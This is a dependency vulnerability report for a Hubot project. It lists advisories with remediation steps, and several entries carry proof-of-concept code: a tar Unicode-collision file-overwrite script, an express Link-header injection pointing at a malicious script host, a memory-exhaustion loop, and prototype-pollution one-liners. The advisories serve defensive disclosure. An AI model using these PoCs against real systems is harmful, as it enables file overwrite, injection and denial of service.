tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Improper Handling of Unicode Encoding in Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS. An attacker can overwrite arbitrary files by exploiting Unicode normalization collisions in filenames within a malicious tar archive on case-insensitive or normalization-insensitive filesystems.

Note:

This is only exploitable if the system is running on a filesystem such as macOS APFS or HFS+ that ignores Unicode normalization.

Workaround

This vulnerability can be mitigated by filtering out all SymbolicLink entries when extracting tarball data.

PoC

const tar = require('tar');
const fs = require('fs');
const path = require('path');
const { PassThrough } = require('stream');

const exploitDir = path.resolve('race_exploit_dir');
if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });
fs.mkdirSync(exploitDir);

console.log('[*] Testing...');
console.log(`[*] Extraction target: ${exploitDir}`);

// Construct stream
const stream = new PassThrough();

const contentA = 'A'.repeat(1000);
const contentB = 'B'.repeat(1000);

// Key 1: "f_ss"
const header1 = new tar.Header({
    path: 'collision_ss',
    mode: 0o644,
    size: contentA.length,
});
header1.encode();

// Key 2: "f_ß"
const header2 = new tar.Header({
    path: 'collision_ß',
    mode: 0o644,
    size: contentB.length,
});
header2.encode();

// Write to stream
stream.write(header1.block);
stream.write(contentA);
stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding

stream.write(header2.block);
stream.write(contentB);
stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding

// End
stream.write(Buffer.alloc(1024));
stream.end();

// Extract
const extract = new tar.Unpack({
    cwd: exploitDir,
    // Ensure jobs is high enough to allow parallel processing if locks fail
    jobs: 8 
});

stream.pipe(extract);

extract.on('end', () => {
    console.log('[*] Extraction complete');

    // Check what exists
    const files = fs.readdirSync(exploitDir);
    console.log('[*] Files in exploit dir:', files);
    files.forEach(f => {
        const p = path.join(exploitDir, f);
        const stat = fs.statSync(p);
        const content = fs.readFileSync(p, 'utf8');
        console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);
    });

    if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {
        console.log('\[*] GOOD');
    } else {
        console.log('[-] No collision');
    }
});

Remediation

Upgrade tar to version 7.5.4 or higher.

References

medium severity

  • Vulnerable module: cookie
  • Introduced through: hubot@2.19.0

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 cookie@0.1.3
    Remediation: Upgrade to hubot@3.1.0.
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 connect@2.30.2 cookie@0.1.3
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 connect@2.30.2 cookie-parser@1.3.5 cookie@0.1.3
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 connect@2.30.2 csurf@1.8.3 cookie@0.1.3
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 connect@2.30.2 express-session@1.11.3 cookie@0.1.3

Overview

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the cookie name, path, or domain, which can be used to set unexpected values to other cookie fields.

Workaround

Users who are not able to upgrade to the fixed version should avoid passing untrusted or arbitrary values for the cookie fields and ensure they are set by the application instead of user input.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade cookie to version 0.7.0 or higher.

References

medium severity
new

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: diff
  • Introduced through: mocha@3.5.3 and soupselect@0.2.0

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 mocha@3.5.3 diff@3.2.0
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 soupselect@0.2.0 nodeunit@0.11.3 tap@12.7.0 tap-mocha-reporter@3.0.9 diff@1.4.0
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 soupselect@0.2.0 nodeunit@0.11.3 tap@12.7.0 ts-node@8.10.2 diff@4.0.4

Overview

diff is a javascript text differencing implementation.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the parsePatch() and applyPatch() functions if the user input passed without sanitisation. An attacker can cause the process to enter an infinite loop and exhaust system memory by providing a patch with filename headers containing \r, \u2028, or \u2029 characters or having control over patch's patch header for application generated patches.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade diff to version 4.0.4, 5.2.2, 8.0.3 or higher.

References

medium severity

Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

  • Vulnerable module: express
  • Introduced through: hubot@2.19.0

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2
    Remediation: Upgrade to hubot@3.1.0.

Overview

express is a minimalist web framework.

Affected versions of this package are vulnerable to Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') through the response.links function. An attacker can inject arbitrary resources into the Link header by using unsanitized input that includes special characters such as commas, semicolons, and angle brackets.

PoC

var express = require('express')
var app = express()

app.get('/', function (req, res) {
  res.links({"preload": req.query.resource});
  if(req.query.resource){
    console.log(res.getHeaders().link)
  }
  res.send('ok');
});
  
app.listen(3000);

// note how the query param uses < > to load arbitrary resource
const maliciousQueryParam = '?resource=http://api.example.com/users?resource=>; rel="preload", <http://api.malicious.com/1.js>; rel="preload"; as="script", <http:/api.example.com';

const url = `http://localhost:3000/${maliciousQueryParam}`;
  
fetch(url);

Remediation

Upgrade express to version 4.0.0-rc1 or higher.

References

medium severity

Missing Release of Resource after Effective Lifetime

  • Vulnerable module: inflight
  • Introduced through: mocha@3.5.3, matchdep@1.0.1 and others

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 mocha@3.5.3 glob@7.1.1 inflight@1.0.6
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 matchdep@1.0.1 findup-sync@0.3.0 glob@5.0.15 inflight@1.0.6
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8 node-pre-gyp@0.9.1 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 soupselect@0.2.0 nodeunit@0.11.3 tap@12.7.0 glob@7.2.3 inflight@1.0.6
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 soupselect@0.2.0 nodeunit@0.11.3 tap@12.7.0 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 soupselect@0.2.0 nodeunit@0.11.3 tap@12.7.0 nyc@14.1.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 soupselect@0.2.0 nodeunit@0.11.3 tap@12.7.0 tap-mocha-reporter@3.0.9 glob@7.2.3 inflight@1.0.6
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 soupselect@0.2.0 nodeunit@0.11.3 tap@12.7.0 nyc@14.1.1 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 soupselect@0.2.0 nodeunit@0.11.3 tap@12.7.0 nyc@14.1.1 test-exclude@5.2.3 glob@7.2.3 inflight@1.0.6
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 soupselect@0.2.0 nodeunit@0.11.3 tap@12.7.0 nyc@14.1.1 istanbul-lib-source-maps@3.0.6 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 soupselect@0.2.0 nodeunit@0.11.3 tap@12.7.0 nyc@14.1.1 spawn-wrap@1.4.3 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6

Overview

Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the makeres function due to improperly deleting keys from the reqs object after execution of callbacks. This behavior causes the keys to remain in the reqs object, which leads to resource exhaustion.

Exploiting this vulnerability results in crashing the node process or in the application crash.

Note: This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.

To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.

PoC

const inflight = require('inflight');

function testInflight() {
  let i = 0;
  function scheduleNext() {
    let key = `key-${i++}`;
    const callback = () => {
    };
    for (let j = 0; j < 1000000; j++) {
      inflight(key, callback);
    }

    setImmediate(scheduleNext);
  }


  if (i % 100 === 0) {
    console.log(process.memoryUsage());
  }

  scheduleNext();
}

testInflight();

Remediation

There is no fixed version for inflight.

References

medium severity

Buffer Overflow

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Buffer Overflow via the xmlSAX2StartElement() function at /libxml2/SAX2.c, which allows attackers to exploit this vulnerability by supplying a crafted XML file.

Remediation

There is no fixed version for libxmljs.

References

medium severity

Use After Free

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Use After Free via the xmlTextReader module. An attacker can cause denial of service by processing crafted XML documents with DTD validation and XInclude expansion enabled.

Remediation

There is no fixed version for libxmljs.

References

medium severity

Open Redirect

  • Vulnerable module: express
  • Introduced through: hubot@2.19.0

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2
    Remediation: Upgrade to hubot@3.1.0.

Overview

express is a minimalist web framework.

Affected versions of this package are vulnerable to Open Redirect due to the implementation of URL encoding using encodeurl before passing it to the location header. This can lead to unexpected evaluations of malformed URLs by common redirect allow list implementations in applications, allowing an attacker to bypass a properly implemented allow list and redirect users to malicious sites.

Remediation

Upgrade express to version 4.19.2, 5.0.0-beta.3 or higher.

References

medium severity

Improper Input Validation

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Improper Input Validation leading to NULL dereference in xmlSchemaFixupComplexType.

Remediation

There is no fixed version for libxmljs.

References

medium severity

NULL Pointer Dereference

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8
    Remediation: Upgrade to libxmljs@1.0.0.

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to NULL Pointer Dereference. A vulnerability found in libxml2 in versions before 2.9.11 shows that it did not propagate errors while parsing XML mixed content, causing a NULL dereference. If an untrusted XML document was parsed in recovery mode and post-validated, the flaw could be used to crash the application. The highest threat from this vulnerability is to system availability.

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: node-fetch
  • Introduced through: hubot-github-contribution-stats@0.6.0

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot-github-contribution-stats@0.6.0 github-contribution-stats@0.3.0 isomorphic-fetch@2.2.1 node-fetch@1.7.3

Overview

node-fetch is a light-weight module that brings window.fetch to node.js

Affected versions of this package are vulnerable to Denial of Service (DoS). Node Fetch did not honor the size option after following a redirect, which means that when a content size was over the limit, a FetchError would never get thrown and the process would end without failure.

Remediation

Upgrade node-fetch to version 2.6.1, 3.0.0-beta.9 or higher.

References

medium severity

Use After Free

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Use After Free via the xmlUnlinkNode function in tree.c. An attacker can cause a denial of service or potentially execute arbitrary code by exploiting this vulnerability.

Note:

This is only exploitable if a certain memory allocation fails.

** Disputed **

The vendor's position is "I don't think these issues are critical enough to warrant a CVE ID ... because an attacker typically can't control when memory allocations fail."

PoC

./libxml2/xmllint --copy --html --maxmem 315229 input.xml

Remediation

There is no fixed version for libxmljs.

References

medium severity

Prototype Pollution

  • Vulnerable module: minimist
  • Introduced through: mocha@3.5.3 and hubot@2.19.0

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 mocha@3.5.3 mkdirp@0.5.1 minimist@0.0.8
    Remediation: Upgrade to mocha@6.2.3.
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 mkdirp@0.5.1 minimist@0.0.8

Overview

minimist is a parse argument options module.

Affected versions of this package are vulnerable to Prototype Pollution. The library could be tricked into adding or modifying properties of Object.prototype using a constructor or __proto__ payload.

PoC by Snyk

require('minimist')('--__proto__.injected0 value0'.split(' '));
console.log(({}).injected0 === 'value0'); // true

require('minimist')('--constructor.prototype.injected1 value1'.split(' '));
console.log(({}).injected1 === 'value1'); // true

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade minimist to version 0.2.1, 1.2.3 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: yargs-parser
  • Introduced through: gitio2@3.1.0

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 gitio2@3.1.0 gitio@2.3.0 yargs@4.1.0 yargs-parser@2.4.1

Overview

yargs-parser is a mighty option parser used by yargs.

Affected versions of this package are vulnerable to Prototype Pollution. The library could be tricked into adding or modifying properties of Object.prototype using a __proto__ payload.

Our research team checked several attack vectors to verify this vulnerability:

  1. It could be used for privilege escalation.
  2. The library could be used to parse user input received from different sources:
    • terminal emulators
    • system calls from other code bases
    • CLI RPC servers

PoC by Snyk

const parser = require("yargs-parser");
console.log(parser('--foo.__proto__.bar baz'));
console.log(({}).bar);

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade yargs-parser to version 5.0.1, 13.1.2, 15.0.1, 18.1.1 or higher.

References

medium severity

Out-of-bounds Read

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8
    Remediation: Upgrade to libxmljs@1.0.0.

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Out-of-bounds Read. The htmlCurrentChar function in libxml2 before 2.9.4, as used in Apple iOS before 9.3.2, OS X before 10.11.5, tvOS before 9.2.1, and watchOS before 2.2.1, allows remote attackers to cause a denial of service (heap-based buffer over-read) via a crafted XML document.

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

medium severity

Out-of-bounds Read

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8
    Remediation: Upgrade to libxmljs@1.0.0.

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Out-of-bounds Read. The xmlDictAddString function in libxml2 before 2.9.4, as used in Apple iOS before 9.3.2, OS X before 10.11.5, tvOS before 9.2.1, and watchOS before 2.2.1, allows remote attackers to cause a denial of service (heap-based buffer over-read) via a crafted XML document.

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

medium severity

Out-of-bounds Read

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8
    Remediation: Upgrade to libxmljs@1.0.0.

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Out-of-bounds Read. The xmlPArserPrintFileContextInternal function in libxml2 before 2.9.4, as used in Apple iOS before 9.3.2, OS X before 10.11.5, tvOS before 9.2.1, and watchOS before 2.2.1, allows remote attackers to cause a denial of service (heap-based buffer over-read) via a crafted XML document.

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

medium severity

Use After Free

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8
    Remediation: Upgrade to libxmljs@1.0.0.

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Use After Free. Multiple use-after-free vulnerabilities in the (1) htmlPArsePubidLiteral and (2) htmlParseSystemiteral functions in libxml2 before 2.9.4, as used in Apple iOS before 9.3.2, OS X before 10.11.5, tvOS before 9.2.1, and watchOS before 2.2.1, allow remote attackers to cause a denial of service via a crafted XML document.

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

medium severity

Use After Free

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8
    Remediation: Upgrade to libxmljs@1.0.0.

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Use After Free. Use-after-free vulnerability in the xmlDictComputeFastKey function in libxml2 before 2.9.4, as used in Apple iOS before 9.3.2, OS X before 10.11.5, tvOS before 9.2.1, and watchOS before 2.2.1, allows remote attackers to cause a denial of service via a crafted XML document.

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

medium severity

XML External Entity (XXE) Injection

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8
    Remediation: Upgrade to libxmljs@1.0.0.

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection libxml2 2.9.4 and earlier, as used in XMLSec 1.2.23 and earlier and other products, does not offer a flag directly indicating that the current document may be read but other files may not be opened, which makes it easier for remote attackers to conduct XML External Entity (XXE) attacks via a crafted document.

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: content-type-parser
  • Introduced through: jsdom@9.12.0

Detailed paths

